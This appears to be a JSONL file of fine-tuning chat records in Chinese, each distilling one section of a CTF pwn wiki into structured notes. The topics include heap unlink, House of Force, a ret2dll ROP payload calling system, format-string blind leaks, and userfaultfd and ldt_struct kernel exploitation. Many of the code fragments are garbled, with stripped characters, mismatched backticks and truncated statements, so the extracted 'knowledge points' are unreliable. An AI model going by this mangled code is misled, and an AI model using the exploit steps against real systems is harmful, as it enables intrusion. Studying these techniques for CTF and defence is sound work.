{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1138ca10fbdd77af92cf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「分配chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19] > 堆布局 > 分配chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分配chunk”展开。\n- ``python additem(0x40, b\"a\"8) # chunk0 - 存放 fake chunk 的容器 additem(0x80, b\"b\"8) # chunk1 - 将被 free 触发 unlink additem(0x40, b\"c\"*8) # chunk2 - 隔离层，防止合并到 top chunk ` 此时内存布局如下： `text 低地址 高地址 [chunk0: 0x50] [chunk1: 0x90] [chunk2: 0x50] [top chunk] ``\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n- code:text\n\n代码/命令片段线索：\n- python: 3 行，首行 `additem(0x40, b\"a\"*8) # chunk0 - 存放 fake chunk 的容器`\n- text: 2 行，首行 `低地址 高地址`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 255, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "分配chunk", "heading_path": ["zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19]", "堆布局", "分配chunk"], "original_id": "docs-f96357467190584e558b", "original_line": 1073, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "9ce0ead218f16894614e3e22", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:python", "code:text"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-118f39b48f16594115a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「二、Pool Memory（before 19H1）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1）\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“二、Pool Memory（before 19H1）”展开。\n- Windows NT kernel 将页面按照不同的用途分为不同的“池”（Pool）来管理，并将这些页面划分为更细粒度的小对象供内核组件使用，池的总类一共有三种： - 非换页池（Non Paged Pool）：该池中的页面常驻物理内存中，不会被换出到磁盘 - 换页池（Paged Pool）：该池中的页面在内存紧张时可能被换出到磁盘 - 会话换页池（Session Paged Pool）：该池中的页面在内存紧张时可能被换出到磁盘，不同会话间存在隔离\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 230, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "二、Pool Memory（before 19H1）", "heading_path": ["基础知识", "内存管理", "二、Pool Memory（before 19H1）"], "original_id": "docs-95767fa414a7ca4b172b", "original_line": 1453, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "252bc60915e7c5dce5c17d90", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-11ffe99c2a8401a84242", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md` 中的章节「内核堆利用与绑核」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md`\n标题：简介\n章节：简介 > 内核堆利用与绑核\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“内核堆利用与绑核”展开。\n- slub allocator 会优先从当前核心的 kmem_cache_cpu 中进行内存分配，在多核架构下存在多个 kmem_cache_cpu ，由于进程调度算法会保持核心间的负载均衡，因此我们的 exp 进程可能会被在不同的核心上运行，这也就导致了利用过程中 kernel object 的分配有可能会来自不同的 kmem_cache_cpu ，这使得利用模型变得复杂，也降低了漏洞利用的成功率。\n- > 比如说你在 core 0 上整了个 double free，准备下一步利用时 exp 跑到 core 1去了，那就很容易让人摸不着头脑 :（ 因此为了保证漏洞利用的稳定，我们需要将我们的进程绑定到特定的某个 CPU 核心上，这样 slub allocator 的模型对我们而言便简化成了单个 kmem_cache_node + 单个 kmem_cache_cpu ，我们也能更加方便地进行漏洞利用。\n- 现笔者给出如下将 exp 进程绑定至指定核心的模板： ``c #include  / to run the exp on the specific core only / void bind_cpu(int core) { cpu_set_t cpu_set;\n- sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);\n- printf(\"\\033[34m\\033[1m[*] Process binded to core \\033[0m%d\\n\", core);\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 10 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 750, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "内核堆利用与绑核", "heading_path": ["简介", "内核堆利用与绑核"], "original_id": "docs-25fe6099720621eb9caf", "original_line": 39, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "source_root": "docs", "source_sha256": "76936782c80ce1b0f0d08c8789bfbfcb4ecd58fc789cc6d0d20e256bcc37e801", "split": "train", "split_group_key": "b1ae2e60f4fac9d2ae8f6356", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-12136cd379c18c0aff19", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/user-mode/stackoverflow/ret2dll.md` 中的章节「dll_base=0x7ffe71e00000」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/user-mode/stackoverflow/ret2dll.md`\n标题：ret2dll利用\n章节：dll_base=0x7ffe71e00000\n路径分类：pwn / pwn/windows/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“dll_base=0x7ffe71e00000”展开。\n- print(\"base addr:\",hex(dll_base)) cmd_addr = dll_base +cmd_dll system_addr=dll_base+sytem_dll print(\"start attck\") payload = b'a' * (0x10 + 8) payload += p64(ret_addr) payload += p64(rcx_addr) payload += p64(cmd_addr) payload += p64(system_addr) p.sendline(...\n- 文件: ./figure/ret2dll-1.png]\n\n关键术语：\n- 边界/溢出\n- 栈\n- 漏洞利用\n- pwn\n- windows\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 336, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "dll_base=0x7ffe71e00000", "heading_path": ["dll_base=0x7ffe71e00000"], "original_id": "docs-000a1ab99defa47bd24b", "original_line": 1466, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/ret2dll.md", "source_root": "docs", "source_sha256": "92eea7177476e88556e9dd5a53dd6ee625398242d0468c8d90695e0074655a5e", "split": "train", "split_group_key": "45065afb2f70669ac84ff2d0", "subcategory": "pwn/windows/user-mode", "terms": ["边界/溢出", "栈", "漏洞利用", "pwn", "windows", "user-mode", "stackoverflow"], "title": "ret2dll利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/ret2dll.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-12c22b8a628729db5ae0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「泄露binary」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 格式化字符串盲打 > 例子2-盲打劫持got > 泄露binary\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“泄露binary”展开。\n- 一般来说有格式化字符串漏洞的盲打都是可以读入 '\\x00' 字符的，，不然没法泄露怎么玩，，除此之后，输出必然是 '\\x00' 截断的，这是因为格式化字符串漏洞利用的输出函数均是 '\\x00' 截断的。\n- 由于程序是64位，所以我们从 0x400000 处开始泄露。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:python\n\n代码/命令片段线索：\n- python: 40 行，首行 `##coding=utf8`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 971, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "泄露binary", "heading_path": ["例子", "格式化字符串盲打", "例子2-盲打劫持got", "泄露binary"], "original_id": "docs-a1c0e64fe86bae6aa679", "original_line": 50, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "d29ff6e420b747a6d5929ff6", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:python"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-12cb0bb832676b4ec150", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md` 中的章节「Step.II - 利用 fork 绕过 hardened usercopy」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md`\n标题：在内存中直接搜索 flag\n章节：在内存中直接搜索 flag > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用：ldt\\_struct 直接读取 initramfs 内容 > Step.II - 利用 fork 绕过 hardened usercopy\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.II - 利用 fork 绕过 hardened usercopy”展开。\n- //... } `` 该操作是完全处在内核中的操作，因此不会触发 hardened usercopy 的检查，我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read\\_ldt() 读取数据即可。\n- 虽然在用户空间与内核空间之间的数据拷贝存在 hardened usercopy，但是在内核空间到内核空间的数据拷贝间并不存在类似的保护机制，因此我们可以通过一些手段绕过 hardended usercopy。\n- 阅读 Linux 内核源码，我们不难观察到当进程调用 fork() 时，内核会通过 memcpy() 将父进程的 ldt->entries 上的内容拷贝给子进程： ``c / Called on fork from arch_dup_mmap().\n- Just copy the current LDT state, the new task is not running, so nothing can be installed. / int ldt_dup_context(struct mm_struct old_mm, struct mm_struct mm) { //... memcpy(new_ldt->entries, old_mm->context.ldt->entries, new_ldt->nr_entries * LDT_ENTRY_SIZE);\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 11 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 629, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Step.II - 利用 fork 绕过 hardened usercopy", "heading_path": ["在内存中直接搜索 flag", "例题：RWCTF2023体验赛 - Digging into kernel 3", "漏洞利用：ldt\\_struct 直接读取 initramfs 内容", "Step.II - 利用 fork 绕过 hardened usercopy"], "original_id": "docs-a8752a328f2e1bb9012b", "original_line": 44, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "source_root": "docs", "source_sha256": "05a9c458be1e0d960cf97f14bb2dcbca7c76bc21aaf90f606e02263f7b1cc4c7", "split": "train", "split_group_key": "d1a7be3f5be00e705f5daf49", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "在内存中直接搜索 flag"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-143c5c926d8278c8d3fa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：House Of Force > HITCON training lab 11 > 利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 这里，程序在开始的时候申请了一块内存来存储两个函数指针，hello_message用于程序开始时使用，goodbye_message 用于在程序结束时使用，所以我们可以利用覆盖 goodbye_message 来控制程序执行流。\n- 具体思路如下 1. 添加物品，利用堆溢出漏洞覆盖 top chunk 的大小为 -1，即 64 位最大值。\n- 2. 利用 house of force 技巧，分配 chunk 至堆的基地址。\n- 3. 覆盖 goodbye_message 为magic 函数地址来控制程序执行流 这里需要注意的是，在触发top chunk 转移到指定位置时，所使用的大小应该合适，以便于设置新的 top chunk 大小，从而可以绕过下一次分配top chunk 的检测。\n- 由于程序中有个 magic 函数，所以我们的核心目的是覆盖某个指针为 magic 函数的指针。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 432, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用", "heading_path": ["House Of Force", "HITCON training lab 11", "利用"], "original_id": "docs-f67be82dd5ac5ede2192", "original_line": 982, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "4bbe3b5dd764715bf96b736f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-14492acdae89920aa76a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「下载编译 busybox」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 下载编译 busybox\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“下载编译 busybox”展开。\n- > 需要注意的是，在主机使用较新的内核版本的情况下，BusyBox 可能会无法完成编译，这个 Bug 早在 2024 年 1 月便有人 提交了报告 ，但直到现在都尚未进行修复。\n- > > 如果你的 BusyBox 编译失败，考虑切换到老内核继续进行，或是选择直接下载预编译版本。\n\n关键术语：\n- AI安全\n- 修复/缓解\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 214, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "下载编译 busybox", "heading_path": ["搭建内核运行环境", "使用 BusyBox 搭建基本的文件系统", "下载编译 busybox"], "original_id": "docs-fdc6625c97838fda5c4c", "original_line": 705, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "d8dd48cce5e17d30895d8c75", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "修复/缓解", "pwn", "linux", "kernel-mode", "environment"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-153507a502e46095e122", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：trigger system(\"/bin/sh\") > 2015 hacklu bookstore > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能”展开。\n- 根据编号来删除 order，但是这里只是单纯地 free 掉，并没有置为 NULL，因此会出现 use after free 的漏洞。\n- 这里虽然程序的漏洞能力很强，但是所有进行 malloc 的大小都是完全固定的，我们只能借助这些分配的 chunk 来进行操作。\n- 这里由于上面堆溢出的问题，这里也会出现堆溢出的漏洞。\n- 该程序的主要功能是订书，具体如下 - 最多可以订购两本书。\n- 根据编号来选择订购第几本书，可以为每本书添加对应的名字。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 294, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["trigger system(\"/bin/sh\")", "2015 hacklu bookstore", "基本功能"], "original_id": "docs-6ec79a16160368720f4e", "original_line": 912, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "5eee0c076a59c118c836eae3", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-15554c4b2a7938902519", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「exp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`\n标题：用 userfaultfd 创造条件竞争\n章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > exp\n路径分类：pwn / pwn/linux/kernel-mode\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“exp”展开。\n- } / Exploite stage */ void fix_size_by_add(void args) { sem_wait(&evil_add_sem);\n- } void construct_uaf(void args) { sem_wait(&evil_edit_sem);\n- } void exploit() { struct knotebook kernel_notebook[NOTE_NUM];\n- if (note_fd < 0) { err_exit(\"failed to open /dev/notebook!\n- pthread_t uffd_monitor_thread, add_fix_size_thread, edit_uaf_thread;\n\n关键术语：\n- UAF\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5005, "chunk_count": 3, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "exp", "heading_path": ["用 userfaultfd 创造条件竞争", "例题：QWB2021-notebook", "exp"], "original_id": "docs-34f4659f965552223d89", "original_line": 792, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "source_root": "docs", "source_sha256": "dde0fc852d95e289946e221dcdbd708b2ffb4d862226dc56b80d81bf3e5cc02f", "split": "train", "split_group_key": "af557f2bb9527953140f0a49", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "用 userfaultfd 创造条件竞争"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-157353a8eab4dba6c35a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：context.log_level = \"debug\" > 2018-XNUCA-gets > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- 先来看看程序的保护 ``c [*] '/mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) `` 比较好的是程序没有 canary，自然我们很容易控制程序的 EIP，但是控制到哪里是一个问题。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `[*] '/mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets'`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 224, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["context.log_level = \"debug\"", "2018-XNUCA-gets", "确定保护"], "original_id": "docs-814e07090618e2d8bac2", "original_line": 1276, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "fa761d96b6b17e2a562f6fd4", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
